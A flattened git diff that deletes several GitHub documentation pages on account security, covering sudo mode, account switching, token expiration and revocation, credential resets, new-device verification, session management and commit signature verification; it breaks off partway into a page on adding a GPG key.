[!WARNING] -> If you see an SSH key you're not familiar with on {% data variables.product.github %}, delete it immediately and contact {% data variables.contact.contact_support %} for further help. An unidentified public key may indicate a possible security concern. diff --git a/content/authentication/keeping-your-account-and-data-secure/security-log-events.md b/content/authentication/keeping-your-account-and-data-secure/security-log-events.md deleted file mode 100644 index fba66b6b360a..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/security-log-events.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Security log events -intro: Learn about security log events recorded for your personal account. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -autogenerated: audit-logs ---- - -> [!NOTE] -{% ifversion ghes %} -> * This article contains the events available in the latest version of {% data variables.product.prodname_ghe_server %}. Some of the events may not be available in previous versions. -> *{% else %}>{% endif %} This article contains the events that may appear in your user account's security log. For the events that can appear in an organization's audit log{% ifversion ghec or ghes %} or the audit log for an enterprise{% endif %}, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization){% ifversion ghec or ghes %} and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise).{% else %}."{% endif %} - -## About security log events - -{% data reusables.audit_log.reference-grouped-by-category %} - -<!-- Content after this section is automatically generated --> diff --git a/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md b/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md deleted file mode 100644 index 9694f710a1e0..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Sudo mode -intro: 'To confirm access to your account before you perform a potentially sensitive action, {% data variables.location.product_location %} prompts for authentication.' -redirect_from: - - /articles/sudo-mode - - /github/authenticating-to-github/sudo-mode - - /github/authenticating-to-github/keeping-your-account-and-data-secure/sudo-mode -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management ---- - -## About sudo mode - -To maintain the security of your account when you perform a potentially sensitive action on {% data variables.location.product_location %}, you must authenticate even though you're already signed in. For example, {% data variables.product.company_short %} considers the following actions sensitive because each action could allow a new person or system to access your account. - -* Modification of an associated email address -* Authorization of a third-party application -* Addition of a new SSH key -* Creation of a PAT or application - -After you authenticate to perform a sensitive action, your session is temporarily in "sudo mode." In sudo mode, you can perform sensitive actions without authentication. {% data variables.product.github %} has a two-hour session timeout period before prompting you for authentication again. During this time, any sensitive action that you perform will reset the timer. - -{% ifversion ghes %} - -> [!NOTE] -> If {% data variables.location.product_location_enterprise %} uses an external authentication method like CAS or SAML SSO, you will not receive prompts to enter sudo mode. For more information, contact your site administrator. - -{% endif %} -{% ifversion ghec %} - -> [!NOTE] -> If your enterprise uses {% data variables.product.prodname_emus %}, only the setup user will receive prompts to enter sudo mode, as {% data variables.enterprise.prodname_managed_users %} don't have credentials stored on {% data variables.product.github %}. - -{% endif %} - -"sudo" is a reference to a program on Unix systems, where the name is short for "**su**peruser **do**." For more information, see [sudo](https://wikipedia.org/wiki/Sudo) on Wikipedia. - -## Confirming access for sudo mode - -To confirm access for sudo mode, you can authenticate with your password. Optionally, you can use a different authentication method, like {% ifversion passkeys %}a passkey, {% endif %}{% ifversion fpt or ghec %}a security key, {% data variables.product.prodname_mobile %}, or a 2FA code{% elsif ghes %}a security key or a 2FA code{% endif %}. - -{%- ifversion passkeys %} -* [Confirming access using a passkey](#confirming-access-using-a-passkey) -{%- endif %} -* [Confirming access using a security key](#confirming-access-using-a-security-key) -{%- ifversion fpt or ghec %} -* [Confirming access using GitHub Mobile](#confirming-access-using-github-mobile) -{%- endif %} -* [Confirming access using a 2FA code](#confirming-access-using-a-2fa-code) -* [Confirming access using your password](#confirming-access-using-your-password) - -{% ifversion passkeys %} - -### Confirming access using a passkey - -You must have a passkey registered to your account to confirm access to your account for sudo mode using a passkey. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys). -{% endif %} - -### Confirming access using a security key - -You must configure two-factor authentication (2FA) for your account using a security key to confirm access to your account for sudo mode using the security key. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key). - -When prompted to authenticate for sudo mode, click **Use security key**, then follow the prompts. - -{% ifversion fpt or ghec %} - -### Confirming access using {% data variables.product.prodname_mobile %} - -You must install and sign into {% data variables.product.prodname_mobile %} to confirm access to your account for sudo mode using the app. For more information, see [AUTOTITLE](/get-started/using-github/github-mobile). - -1. When prompted to authenticate for sudo mode, click **Use {% data variables.product.prodname_mobile %}**. -1. Open {% data variables.product.prodname_mobile %}. {% data variables.product.prodname_dotcom %} will display numbers that you must enter in {% data variables.product.prodname_mobile %} to approve the request. -1. In {% data variables.product.prodname_mobile %}, type the numbers displayed. - -{% endif %} - -### Confirming access using a 2FA code - -You must configure 2FA using a TOTP mobile app to confirm access to your account for sudo mode using a 2FA code. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -When prompted to authenticate for sudo mode, type the authentication code from your TOTP mobile app, then click **Verify**. - -{% ifversion fpt or ghec %}Text messages are not supported for use on the sudo prompt. If you have registered SMS as the only 2FA method on your account, you'll be asked for your password to enter sudo mode. -{% endif %} - -### Confirming access using your password - -When prompted to authenticate for sudo mode, type your password, then click **Confirm**. diff --git a/content/authentication/keeping-your-account-and-data-secure/switching-between-accounts.md b/content/authentication/keeping-your-account-and-data-secure/switching-between-accounts.md deleted file mode 100644 index d255cc665e94..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/switching-between-accounts.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 'Switching between accounts' -intro: 'Learn how to switch between multiple {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} accounts and {% data variables.enterprise.prodname_managed_users %}{% else %}accounts{% endif %}.' -allowTitleToDifferFromFilename: true -versions: - feature: account-switcher -type: overview -topics: - - Identity - - Access management ---- - -If you need to use multiple accounts on {% data variables.product.prodname_dotcom %}, you can sign in to your accounts and switch between them without always being required to reauthenticate. You can use the account switcher if you have a personal account and service accounts (sometimes called machine users){% ifversion fpt or ghec %} or if you need to switch between your personal account and {% data variables.enterprise.prodname_managed_users %} in an enterprise that uses {% data variables.product.prodname_emus %}{% endif %}. - -When you are signed in to multiple accounts and using the account switcher, those sessions remain on your computer or browser. If you access {% data variables.product.prodname_dotcom %} on another computer or browser, the same accounts will not be available until you add them. - -If you are signed in to multiple accounts and follow a link to {% data variables.product.github %} from an external source, such as a request to install or approve a {% data variables.product.prodname_github_app %}, you will first be prompted to choose which account you want to use. - -Your SSO sessions will persist when you switch away from an account and return. This means you will not always need to authenticate with your identity provider (IdP) each time you want to use your SSO-linked account. {% ifversion fpt or ghec %}If you're a member of an enterprise that uses {% data variables.product.prodname_emus %} and add your {% data variables.enterprise.prodname_managed_user %} to the account switcher, the {% data variables.enterprise.prodname_managed_user %} will appear grayed out if your session has expired. Selecting the expired account will send you to reauthenticate with your IdP.{% endif %} - -## Adding an account to the account switcher - -When you add a new account to the account switcher, both the account you are currently signed in to and the account you have added will become available in the account switcher. You will be signed in to the new account immediately. - -1. In the upper-right corner of any page, click your profile photo to open the menu. -1. If you have previously added an account to the account switcher, click **{% octicon "arrow-switch" aria-hidden="true" %} Switch account** to open the menu. -1. In the menu, click **{% octicon "person-add" aria-hidden="true" %} Add account**. -1. Sign in to the account you want to add to the account switcher. - -## Switching between accounts - -When you have added accounts to the account switcher, you can quickly change between them without always needing to reauthenticate. - -> [!NOTE] -> The "{% octicon "arrow-switch" aria-hidden="true" %} Switch account" option will not be available if all sessions have expired. You can instead click on **{% octicon "arrow-switch" aria-hidden="true" %} See all accounts** in the menu to reauthenticate. - -1. In the upper-right corner of any page, click your profile photo to open the menu. -1. In the menu, click **{% octicon "arrow-switch" aria-hidden="true" %} Switch account**. -1. In the submenu, click on the account that you want to switch to. - - ![Screenshot of the "Switch account" menu with three options, "octocat", "hubot", and "Add account".](/assets/images/help/profile/switch-accounts.png) - -## Removing accounts from the account switcher - -You can either remove individual accounts or all accounts from the account switcher. - -1. In the upper-right corner of any page, click your profile photo to open the menu. -1. In the menu, click **Sign out**. -1. Choose which accounts to sign out of and remove from the account switcher. - * To remove the account you are currently signed in to from the account switcher and sign out, click **Sign out** next to your username. - * To sign out from and remove an account from the account switcher, click **Remove** next to the username you want to remove. - * To sign out from all accounts, and remove all accounts from the account switcher, click **Sign out from all accounts**. diff --git a/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md b/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md deleted file mode 100644 index c1d8ca32ee63..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Token expiration and revocation -intro: 'Your tokens can expire and can also be revoked by you, applications you have authorized, and {% data variables.product.github %} itself.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Token expiration -redirect_from: - - /github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation ---- - -When a token has expired or has been revoked, it can no longer be used to authenticate Git and API requests. It is not possible to restore an expired or revoked token, you or the application will need to create a new token. - -This article explains the possible reasons your {% data variables.product.github %} token might be revoked or expire. - -> [!NOTE] -> When a {% data variables.product.pat_generic %} or OAuth token expires or is revoked, you may see an `oauth_authorization.destroy` action in your security log. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log). - -## Token revoked after reaching its expiration date - -When you create a {% data variables.product.pat_generic %}, we recommend that you set an expiration for your token. Upon reaching your token's expiration date, the token is automatically revoked. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -{% ifversion fpt or ghec %} - -## Token revoked when pushed to a public repository or public gist - -If a valid OAuth token, {% data variables.product.prodname_github_app %} token, or {% data variables.product.pat_generic %} is pushed to a public repository or public gist, the token will be automatically revoked. - -{% endif %} - -{% ifversion fpt or ghec %} - -## Token expired due to lack of use - -{% data variables.product.github %} will automatically revoke an OAuth token or {% data variables.product.pat_generic %} when the token hasn't been used in one year. -{% endif %} - -## Token revoked by the user - -You can revoke your authorization of a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} from your account settings which will revoke any tokens associated with the app. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations) and [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-applications-oauth). - -Once an authorization is revoked, any tokens associated with the authorization will be revoked as well. To reauthorize an application, follow the instructions from the third-party application or website to connect your account on {% data variables.product.prodname_dotcom %} again. - -## Token revoked by the {% data variables.product.prodname_oauth_app %} - -The owner of an {% data variables.product.prodname_oauth_app %} can revoke an account's authorization of their app, this will also revoke any tokens associated with the authorization. For more information about revoking authorizations of your {% data variables.product.prodname_oauth_app %}, see [AUTOTITLE](/rest/apps/oauth-applications#delete-an-app-authorization). - -{% data variables.product.prodname_oauth_app %} owners can also revoke individual tokens associated with an authorization. For more information about revoking individual tokens for your {% data variables.product.prodname_oauth_app %}, see [AUTOTITLE](/rest/apps/oauth-applications#delete-an-app-token). - -## Token revoked due to excess of tokens for an {% data variables.product.prodname_oauth_app %} with the same scope - -{% data reusables.apps.oauth-token-limit %} - -## User token expired due to {% data variables.product.prodname_github_app %} configuration - -User access tokens created by a {% data variables.product.prodname_github_app %} will expire after eight hours by default, and then must be regenerated using the included refresh token. Owners of {% data variables.product.prodname_github_apps %} can optionally configure these tokens to never expire instead, but this is not recommended due to the security implications. For more information about configuring your {% data variables.product.prodname_github_app %}'s user access tokens, see [AUTOTITLE](/apps/maintaining-github-apps/activating-optional-features-for-github-apps). diff --git a/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md deleted file mode 100644 index b3517d0b773c..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Updating your GitHub access credentials -intro: '{% data variables.product.github %} credentials include not only your password, but also the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.github %}. Should you have the need, you can reset all of these access credentials yourself.' -redirect_from: - - /articles/rolling-your-credentials - - /articles/how-can-i-reset-my-password - - /articles/updating-your-github-access-credentials - - /github/authenticating-to-github/updating-your-github-access-credentials - - /github/authenticating-to-github/keeping-your-account-and-data-secure/updating-your-github-access-credentials -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Update access credentials ---- -{% ifversion ghec %} - -> [!NOTE] {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -## Requesting a new password - -{% data reusables.accounts.request-password-reset-link %} - -1. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials: -{% ifversion fpt or ghec %} - * If you have {% data variables.product.prodname_mobile %}, you will be sent a push notification to verify your identity. Open the push notification or the {% data variables.product.prodname_mobile %} app and enter the two-digit code shown to you on the password reset page in your browser. - * To skip using {% data variables.product.prodname_mobile %} to verify, click **Enter two-factor authentication or recovery code**. -{% endif %} - * Type your authentication code or one of your recovery codes and click **Verify**. - * If you have added a security key to your account, click **Use security key** instead of typing an authentication code. - {% ifversion fpt or ghec %} - * If you have set up [{% data variables.product.prodname_mobile %}](https://github.com/mobile), click **Authenticate with {% data variables.product.prodname_mobile %}** instead. - {% endif %} - {% ifversion 2fa-recovery-flow %} - * If you've lost access to your two-factor authentication credentials and your recovery codes, you can start account recovery request. See [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials#recovering-without-your-password-or-two-factor-authentication-credentials). - {% endif %} -1. In the text field under **Password**, type a new password. Then, in the text field under **Confirm password**, type the password again. -1. Click **Change password**. For help creating a strong password, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-strong-password). - -> [!TIP] -> To avoid losing your password in the future, we suggest using a secure password manager. - -## Changing an existing password - -{% data reusables.repositories.blocked-passwords %} - -1. Sign in to {% data variables.product.github %}. -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -1. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-strong-password). -1. Click **Update password**. - -> [!TIP] -> For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication) for more details. - -## Updating your access tokens - -See [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations) for instructions on reviewing and deleting access tokens. To generate new access tokens, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -If you have reset your account password and would also like to trigger a sign-out from the {% data variables.product.prodname_mobile %} app, you can revoke your authorization of the "GitHub iOS" or "GitHub Android" {% data variables.product.prodname_oauth_app %}. This will sign out all instances of the {% data variables.product.prodname_mobile %} app associated with your account. For additional information, see [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations). - -## Updating your SSH keys - -See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys) for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh). - -## Resetting API tokens - -If you have any applications registered with {% data variables.product.github %}, you'll want to reset their OAuth tokens. For more information, see the `PATCH /applications/{client_id}/token` endpoint in [AUTOTITLE](/rest/apps/oauth-applications#reset-a-token). - -## Preventing unauthorized access - -For more tips on securing your account and preventing unauthorized access, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access). diff --git a/content/authentication/keeping-your-account-and-data-secure/verifying-new-devices-when-signing-in.md b/content/authentication/keeping-your-account-and-data-secure/verifying-new-devices-when-signing-in.md deleted file mode 100644 index 20b82e949191..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/verifying-new-devices-when-signing-in.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Verifying new devices when signing in -intro: 'When you sign in for the first time from a new or unrecognized device without two-factor authentication enabled, {% data variables.product.prodname_dotcom %} may ask for additional verification to confirm that it is you.' -versions: - fpt: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Verifying devices on sign in ---- - -## About device verification - -To keep your account secure when two-factor authentication (2FA) is not enabled, {% data variables.product.prodname_dotcom %} may ask you to verify your sign-in attempt when you access your account from an unrecognized device for the first time. This is called device verification. An unrecognized device requiring verification may include a new computer or phone, a new browser, or new browser profile. - -You will only need to verify a new device once. If you clear your cookies, or use a different browser on the same device, {% data variables.product.prodname_dotcom %} may ask you to verify your device again. - -{% data variables.product.prodname_dotcom %} will not ask you to perform device verification when you have 2FA enabled, or when you sign in using a passkey. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey). - -## Verifying your sign-in attempt - -1. Sign in to {% data variables.product.github %}, using your username and password. -1. If you are signing in from an unrecognized device, {% data variables.product.prodname_dotcom %} may ask to you pass a "Device verification" prompt. The verification code is sent to all primary and backup email addresses associated with your account. The code is valid for one hour. - * If you have the {% data variables.product.prodname_mobile %} application installed, {% data variables.product.github %} sends a verification request to your mobile device, instead of sending an email. Enter the code displayed in your browser into the {% data variables.product.prodname_mobile %} app to verify your sign-in. You can request an email code if your mobile device is unavailable. -1. Enter the verification code into your browser to verify your sign-in. - -## Troubleshooting device verification - -If you do not receive the verification code, make sure that you are checking the right email address. We only send the verification code to the primary and backup email addresses associated with your account. {% data variables.product.prodname_dotcom %} will provide you with a hint of the email(s) that the verification code was sent to. If you are certain that you are accessing the correct address, ensure your email account can receive emails from {% data variables.product.prodname_dotcom %}, or try waiting a few minutes in case there are temporary deliverability delays. - -If you cannot provide the verification code because you don’t have access to your email address, you will not be able to verify your new device. You can access your {% data variables.product.prodname_dotcom %} account by using a device you’ve used before and, from there, you should add an email address that you can access to your account. See [AUTOTITLE](/get-started/signing-up-for-github/verifying-your-email-address). - -If you cannot provide the verification code and do not have another active session on a device you’ve used before, you may be able to contact the provider of your email address account to determine your account recovery options. If your email address is completely inaccessible, you can create a new {% data variables.product.prodname_dotcom %} account with a different username and email address. See [AUTOTITLE](/get-started/signing-up-for-github/signing-up-for-a-new-github-account). - -## Receiving an unexpected device verification email - -If you receive a verification code from {% data variables.product.prodname_dotcom %} that you did not request, your {% data variables.product.prodname_dotcom %} password may have been compromised. You should immediately change your password and take steps to make sure that your account is secure. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access). - -## Disabling device verification - -You can disable the requirement to verify new devices via email by enabling 2FA. It is not possible to opt-out of device verification entirely without enabling 2FA. See [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -You can sign in using a passkey to skip the device verification prompt. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey). diff --git a/content/authentication/keeping-your-account-and-data-secure/viewing-and-managing-your-sessions.md b/content/authentication/keeping-your-account-and-data-secure/viewing-and-managing-your-sessions.md deleted file mode 100644 index 1eb4751abf6a..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/viewing-and-managing-your-sessions.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Viewing and managing your sessions -intro: You can view and revoke your active sessions in your settings. -versions: - fpt: '*' - ghec: '*' - ghes: '*' - -type: how_to -topics: - - SSO -shortTitle: Viewing and managing sessions ---- - -You can view a list of devices that have logged into your account, and revoke any sessions that you don't recognize. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.sessions %} -1. Under "Web sessions", you can see your active web sessions. -{% ifversion fpt or ghec %} - - Under "{% data variables.product.prodname_mobile %} sessions", you can see a list of devices that have logged into your account via the {% data variables.product.prodname_mobile %} app.{% endif %} -1. To see the web session details, click **See more**. -1. To revoke a web session, click **Revoke session**. -{% ifversion fpt or ghec %} -1. Optionally, to revoke a {% data variables.product.prodname_mobile %} session, go back to the Sessions overview page and click **Revoke** next to the device you want to revoke. - - > [!NOTE] - > Revoking a mobile session signs you out of the {% data variables.product.prodname_mobile %} application on that device and removes it as a second-factor option. - -{% endif %} - -## Further information - -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github#session-cookies) diff --git a/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md b/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md deleted file mode 100644 index 837f57a3631a..000000000000 --- a/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: About commit signature verification -intro: 'Using GPG, SSH, or S/MIME, you can sign tags and commits locally. These tags or commits are marked as verified on {% data variables.product.github %} so other people can be confident that the changes come from a trusted source.' -redirect_from: - - /articles/about-gpg-commit-and-tag-signatures - - /articles/about-gpg - - /articles/about-commit-signature-verification - - /github/authenticating-to-github/about-commit-signature-verification - - /github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Commit signature verification ---- -## About commit signature verification - -You can sign commits and tags locally, to give other people confidence about the origin of a change you have made. If a commit or tag has a GPG, SSH, or S/MIME signature that is cryptographically verifiable, {% data variables.product.github %} marks the commit or tag {% ifversion fpt or ghec %}"Verified" or "Partially verified."{% else %}"Verified."{% endif %} - -![Screenshot of a commit in the commit list for a repository. "Verified" is highlighted with an orange outline.](/assets/images/help/commits/verified-commit.png) - -{% ifversion ghes %} -If a commit or tag has a signature that can't be verified, {% data variables.product.github %} marks the commit or tag "Unverified." -{% endif %} - -For most individual users, GPG or SSH will be the best choice for signing commits. S/MIME signatures are usually required in the context of a larger organization. SSH signatures are the simplest to generate. You can even upload your existing authentication key to {% data variables.product.github %} to also use as a signing key. Generating a GPG signing key is more involved than generating an SSH key, but GPG has features that SSH does not. A GPG key can expire or be revoked when no longer used. The GPG signature may include the information about it being expired or revoked. - -{% ifversion fpt or ghec %} - -Commits and tags have the following verification statuses, depending on whether you have enabled vigilant mode. By default vigilant mode is not enabled. For information on how to enable vigilant mode, see [AUTOTITLE](/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits). - -Signing commits differs from signing off on a commit. For more information about signing off on commits, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository). - -### Default statuses - -| Status | Description | -| -------------- | ----------- | -| **Verified** | The commit is signed and the signature was successfully verified. -| **Unverified** | The commit is signed but the signature could not be verified. -| No verification status | The commit is not signed. - -### Persistent commit signature verification - -Regardless of the signature choice - GPG, SSH, or S/MIME - once a commit signature is verified, it remains verified within its repository's network. See [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories). - -When a commit signature is verified upon being pushed to {% data variables.product.github %}, a verification record is stored alongside the commit. This record can't be edited and will persist so that signatures remain verified over time, even if signing keys are rotated, revoked, or if contributors leave the organization. - -The verification record includes a timestamp marking when the verification was completed. This persistent record ensures a consistent verified state, providing a stable history of contributions within the repository. You can view this timestamp by hovering over the "Verified" badge on {% data variables.product.github %} or by accessing the commit via the REST API, which includes a `verified_at` field. See [AUTOTITLE](/rest/commits/commits). - -Persistent commit signature verification applies to new commits pushed to {% data variables.product.github %}. For any commits that predate this feature, a persistent record will be created the next time the commit's signature is verified on {% data variables.product.github %}, helping ensure that verified statuses remain stable and reliable across the repository's history. - -#### Records persist even after revocation and expiration - -Persistent commit signature verification reflects the verified state of a commit at the time of verification. This means that if a signing key is later revoked, expired, or otherwise altered, previously verified commits retain their verified status based on the record created during the initial verification. {% data variables.product.github %} will not re-verify previously signed commits or retroactively adjust their verification status in response to changes in the key's state. Organizations may need to manage key states directly to align with their security policies, especially if frequent key rotation or revocation is planned. - -#### The verification record is scoped to its repository network - -The verification record is persistent across the repository network, meaning that if the same commit is pushed again to the same repository or to any of its forks, the existing verification record is reused. This allows {% data variables.product.github %} to maintain a consistent verified status across related repositories without re-verifying the commit each time it appears within the network. This persistence reinforces a unified and reliable view of commit authenticity across all instances of the commit within the repository network. - -{% endif %} - -### Signature verification for rebase and merge - -{% data reusables.pull_requests.rebase_and_merge_verification %} - -{% data reusables.pull_requests.rebase_and_merge_verification_2 %} - -For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github#rebasing-and-merging-your-commits). - -{% ifversion fpt or ghec %} - -### Statuses with vigilant mode enabled - -{% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %} - -{% endif %} - -Repository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-signed-commits). - -{% data reusables.identity-and-permissions.verification-status-check %} - -{% ifversion ghes %}If a site administrator has enabled web commit signing, {% data variables.product.github %} will automatically use GPG to sign commits you make using the web interface. Commits signed by {% data variables.product.github %} will have a verified status. You can verify the signature locally using the public key available at `https://HOSTNAME/web-flow.gpg`. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing). -{% else %}{% data variables.product.prodname_dotcom %} will automatically use GPG to sign commits you make using the web interface. Commits signed by {% data variables.product.prodname_dotcom %} will have a verified status. You can verify the signature locally using the public key available at https://github.com/web-flow.gpg. - -You can optionally choose to have {% data variables.product.prodname_dotcom %} GPG sign commits you make in {% data variables.product.prodname_github_codespaces %}. For more information about enabling GPG verification for your codespaces, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces).{% endif %} - -## GPG commit signature verification - -You can use GPG to sign commits with a GPG key that you generate yourself. - -{% data variables.product.github %} uses OpenPGP libraries to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% data variables.location.product_location %}. - -To sign commits using GPG and have those commits verified on {% data variables.product.github %}, follow these steps: - -1. [Check for existing GPG keys](/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys) -1. [Generate a new GPG key](/authentication/managing-commit-signature-verification/generating-a-new-gpg-key) -1. [Add a GPG key to your GitHub account](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account) -1. [Tell Git about your signing key](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key) -1. [Sign commits](/authentication/managing-commit-signature-verification/signing-commits) -1. [Sign tags](/authentication/managing-commit-signature-verification/signing-tags) - -## SSH commit signature verification - -You can use SSH to sign commits with an SSH key that you generate yourself. For more information, see the [Git reference documentation](https://git-scm.com/docs/git-config#Documentation/git-config.txt-usersigningKey) for `user.Signingkey`. If you already use an SSH key to authenticate with {% data variables.product.github %}, -you can also upload that same key again for use as a signing key. There's no limit on the number of signing keys you can add to your account. - -{% data variables.product.github %} uses [ssh_data](https://github.com/github/ssh_data), an open source Ruby library, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% data variables.location.product_location %}. - -{% data reusables.gpg.ssh-git-version %} - -To sign commits using SSH and have those commits verified on {% data variables.product.github %}, follow these steps: - -1. [Check for existing SSH keys](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys) -1. [Generate a new SSH key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) -1. [Add a SSH signing key to your GitHub account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account) -1. [Tell Git about your signing key](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key) -1. [Sign commits](/authentication/managing-commit-signature-verification/signing-commits) -1. [Sign tags](/authentication/managing-commit-signature-verification/signing-tags) - -## S/MIME commit signature verification - -You can use S/MIME to sign commits with an X.509 key issued by your organization. - -{% data variables.product.github %} uses [the Debian ca-certificates package](https://packages.debian.org/bullseye/ca-certificates), the same trust store used by Mozilla browsers, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key in a trusted root certificate. - -{% data reusables.gpg.smime-git-version %} - -To sign commits using S/MIME and have those commits verified on {% data variables.product.github %}, follow these steps: - -1. [Tell Git about your signing key](/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key) -1. [Sign commits](/authentication/managing-commit-signature-verification/signing-commits) -1. [Sign tags](/authentication/managing-commit-signature-verification/signing-tags) - -You don't need to upload your public key to {% data variables.product.github %}. - -{% ifversion fpt or ghec %} - -## Signature verification for bots - -Organizations and {% data variables.product.prodname_github_apps %} that require commit signing can use bots to sign commits. If a commit or tag has a bot signature that is cryptographically verifiable, {% data variables.product.github %} marks the commit or tag as verified. - -Signature verification for bots will only work if the request is verified and authenticated as the {% data variables.product.prodname_github_app %} or bot and contains no custom author information, custom committer information, and no custom signature information, such as Commits API. -{% endif %} - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-commits) -* [AUTOTITLE](/authentication/managing-commit-signature-verification/signing-tags) -* [AUTOTITLE](/authentication/troubleshooting-commit-signature-verification) diff --git a/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md b/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md deleted file mode 100644 index 042746c2168e..000000000000 --- a/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Adding a GPG key to your GitHub account -intro: 'To configure your account on {% data variables.product.github %} to use your new (or existing) GPG key, you''ll also need to add the key to your account.' -redirect_from: - - /articles/adding-a-gpg-key-to-your-github-account - - 